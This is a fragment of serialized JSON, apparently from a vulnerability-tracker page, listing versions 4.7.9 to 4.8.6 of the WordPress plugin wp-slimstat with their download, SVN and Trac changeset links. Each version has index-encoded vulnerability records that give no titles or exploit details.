core":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2558,"download_url":2559,"svn_tag_url":2560,"released_at":39,"has_diff":54,"diff_files_changed":2561,"diff_lines":39,"trac_diff_url":2562,"vulnerabilities":2563,"is_current":54},"4.8.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.5.1&new_path=%2Fwp-slimstat%2Ftags%2F4.8.6",[2564,2565,2566,2567,2568,2569,2570,2571,2572,2573,2574,2575,2576,2577,2578,2579,2580,2581],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2583,"download_url":2584,"svn_tag_url":2585,"released_at":39,"has_diff":54,"diff_files_changed":2586,"diff_lines":39,"trac_diff_url":2587,"vulnerabilities":2588,"is_current":54},"4.8.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.5&new_path=%2Fwp-slimstat%2Ftags%2F4.8.5.1",[2589,2590,2591,2592,2593,2594,2595,2596,2597,2598,2599,2600,2601,2602,2603,2604,2605,2606],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2608,"download_url":2609,"svn_tag_url":2610,"released_at":39,"has_diff":54,"diff_files_changed":2611,"diff_lines":39,"trac_diff_url":2612,"vulnerabilities":2613,"is_current":54},"4.8.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.4.1&new_path=%2Fwp-slimstat%2Ftags%2F4.8.5",[2614,2615,2616,2617,2618,2619,2620,2621,2622,2623,2624,2625,2626,2627,2628,2629,2630,2631],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2633,"download_url":2634,"svn_tag_url":2635,"released_at":39,"has_diff":54,"diff_files_changed":2636,"diff_lines":39,"trac_diff_url":2637,"vulnerabilities":2638,"is_current":54},"4.8.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.4&new_path=%2Fwp-slimstat%2Ftags%2F4.8.4.1",[2639,2640,2641,2642,2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":317,"download_url":2658,"svn_tag_url":2659,"released_at":39,"has_diff":54,"diff_files_changed":2660,"diff_lines":39,"trac_diff_url":2661,"vulnerabilities":2662,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.3&new_path=%2Fwp-slimstat%2Ftags%2F4.8.4",[2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674,2675,2676,2677,2678,2679,2680],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2682,"download_url":2683,"svn_tag_url":2684,"released_at":39,"has_diff":54,"diff_files_changed":2685,"diff_lines":39,"trac_diff_url":2686,"vulnerabilities":2687,"is_current":54},"4.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.2&new_path=%2Fwp-slimstat%2Ftags%2F4.8.3",[2688,2689,2690,2691,2692,2693,2694,2695,2696,2697,2698,2699,2700,2701,2702,2703,2704,2705,2706],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2708,"download_url":2709,"svn_tag_url":2710,"released_at":39,"has_diff":54,"diff_files_changed":2711,"diff_lines":39,"trac_diff_url":2712,"vulnerabilities":2713,"is_current":54},"4.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.1&new_path=%2Fwp-slimstat%2Ftags%2F4.8.2",[2714,2715,2716,2717,2718,2719,2720,2721,2722,2723,2724,2725,2726,2727,2728,2729,2730,2731,2732],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":331,"download_url":2734,"svn_tag_url":2735,"released_at":39,"has_diff":54,"diff_files_changed":2736,"diff_lines":39,"trac_diff_url":2737,"vulnerabilities":2738,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8&new_path=%2Fwp-slimstat%2Ftags%2F4.8.1",[2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750,2751,2752,2753,2754,2755,2756,2757],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2759,"download_url":2760,"svn_tag_url":2761,"released_at":39,"has_diff":54,"diff_files_changed":2762,"diff_lines":39,"trac_diff_url":2763,"vulnerabilities":2764,"is_current":54},"4.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.9.1&new_path=%2Fwp-slimstat%2Ftags%2F4.8",[2765,2766,2767,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779,2780,2781,2782,2783,2784],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2786,"download_url":2787,"svn_tag_url":2788,"released_at":39,"has_diff":54,"diff_files_changed":2789,"diff_lines":39,"trac_diff_url":2790,"vulnerabilities":2791,"is_current":54},"4.7.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.9.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.9.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.9&new_path=%2Fwp-slimstat%2Ftags%2F4.7.9.1",[2792,2793,2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809,2810,2811],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2813,"download_url":2814,"svn_tag_url":2815,"released_at":39,"has_diff":54,"diff_files_changed":2816,"diff_lines":39,"trac_diff_url":2817,"vulnerabilities":2818,"is_current":54},"4.7.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.8.3&new_path=%2Fwp-slimstat%2Ftags%2F4.7.9",[2819,2820,2821,2822,2823,2824,2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":7